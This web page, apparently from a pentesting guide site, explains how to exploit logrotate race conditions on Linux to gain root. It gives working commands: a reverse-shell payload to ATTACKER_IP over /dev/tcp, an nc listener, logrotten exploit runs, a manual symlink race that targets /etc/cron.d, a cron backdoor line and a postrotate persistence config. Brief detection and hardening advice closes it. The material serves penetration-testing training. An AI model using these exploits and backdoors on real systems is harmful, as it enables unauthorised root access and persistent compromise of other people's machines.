
Logrotate Exploitation
Guide to exploiting logrotate misconfigurations for privilege escalation using race conditions and the logrotten exploit.
Introduction
Logrotate rotates, compresses and deletes log files. Cron (or a systemd timer) runs it as root, usually once a day. Some versions have a race condition in how they create the new log file, and a user who can write to the log directory can win that race and get root.
Requirements
To exploit logrotate, you need:
- Write access to a log file that logrotate manages
- Logrotate running as root (the default)
- A vulnerable version: 3.8.6, 3.11.0, 3.15.0 or 3.18.0
How logrotate works
Configuration
Global configuration is in /etc/logrotate.conf:
cat /etc/logrotate.conf
# rotate log files weekly
weekly
# use the adm group
su root adm
# keep 4 weeks worth of backlogs
rotate 4
# create new log files after rotating
create
# include per-application configs
include /etc/logrotate.dApplication configs
Per-application configs live in /etc/logrotate.d/:
ls /etc/logrotate.d/
apache2 apt dpkg mysql rsyslog samba
cat /etc/logrotate.d/dpkg
/var/log/dpkg.log {
monthly
rotate 12
compress
delaycompress
missingok
notifempty
create 644 root root
}Status file
Logrotate tracks rotation dates in a status file:
cat /var/lib/logrotate.status
"/var/log/samba/log.smbd" 2024-8-3
"/var/log/mysql/mysql.log" 2024-8-3The vulnerability
The race condition
Logrotate replaces a log file in a fixed order:
- Rename existing log file
- Create new log file
- Set permissions on new file
Between steps 2 and 3 there is a short window. If you swap the new file (or its directory) for a symlink in that window, logrotate follows it and writes as root wherever the link points.
Vulnerable versions
- 3.8.6
- 3.11.0
- 3.15.0
- 3.18.0
Check the installed version:
logrotate --versionExploitation
Using Logrotten
Logrotten wins the race for you.
Compile the exploit
git clone https://github.com/whotwagner/logrotten.git
cd logrotten
gcc logrotten.c -o logrottenCreate the payload
# Reverse shell payload
cat > payload << 'EOF'
bash -i >& /dev/tcp/ATTACKER_IP/9001 0>&1
EOFCheck which rotation option is in use
grep "create\|compress" /etc/logrotate.conf | grep -v "#"If the config uses create, run logrotten with its defaults. If it uses compress, add -c.
Start a listener
nc -nlvp 9001Run the exploit
# For 'create' option (most common)
./logrotten -p ./payload /tmp/target.log
# For 'compress' option
./logrotten -c -p ./payload /tmp/target.logManual exploitation
With write access to a log file and its directory you can try the race by hand:
# Create symlink race condition
while true; do
# Wait for rotation
if [ ! -f /var/log/app/app.log ]; then
ln -sf /etc/cron.d/backdoor /var/log/app/app.log
break
fi
sleep 0.1
done
# Prepare cron backdoor content
echo "* * * * * root /tmp/shell.sh" > /tmp/cron_payloadFind writable logs
# Find writable log files
find /var/log -writable -type f 2>/dev/null
# Check log directories
find /var/log -writable -type d 2>/dev/null
# Find logs managed by logrotate
cat /etc/logrotate.d/* | grep "^/" | cut -d' ' -f1Force a rotation
Logrotate normally runs once a day from cron. To force a rotation:
# Force rotation (requires root or sudo)
sudo logrotate -f /etc/logrotate.conf
# Or modify status file to backdate
# This makes logrotate think rotation is duePersistence via Logrotate
Write access to /etc/logrotate.d/ gives you persistence:
cat > /etc/logrotate.d/backdoor << 'EOF'
/var/log/backdoor.log {
daily
rotate 1
postrotate
/tmp/shell.sh
endscript
}
EOFThe postrotate block runs as root after each rotation.
Detection and defense
Hardening
# Ensure proper permissions on logrotate configs
chmod 644 /etc/logrotate.conf
chmod 644 /etc/logrotate.d/*
# Restrict write access to log directories
chmod 750 /var/log
# Update logrotate to patched version
apt update && apt upgrade logrotateDetection
- Monitor for new files in
/etc/logrotate.d/ - Watch for symlinks created in log directories
- Alert on unexpected child processes of logrotate
Related resources
- Cron Job Abuse: other ways to abuse root's scheduled jobs
- Wildcard Abuse: filename tricks against root scripts
- PATH Abuse: PATH-based privilege escalation
References
MITRE ATT&CK techniques
- T1053.003 - Scheduled Task/Job: Cron - Logrotate runs via cron
- T1574 - Hijack Execution Flow - Exploiting logrotate scripts
- T1222.002 - File and Directory Permissions Modification: Linux - Permission abuse
Vulnerabilities
- CVE-2016-1247 - Nginx logrotate vulnerability
Tools
- Logrotten GitHub - Logrotate exploitation tool
Other resources
- HackTricks: Logrotate - Exploitation guide
Linux Kernel Exploits
Guide to identifying and exploiting Linux kernel vulnerabilities for privilege escalation, including enumeration techniques, common exploits, and safety considerations.
Linux PATH Environment Variable Abuse for Privilege Escalation
Exploiting PATH environment variable misconfigurations on Linux for privilege escalation, with detection and hardening.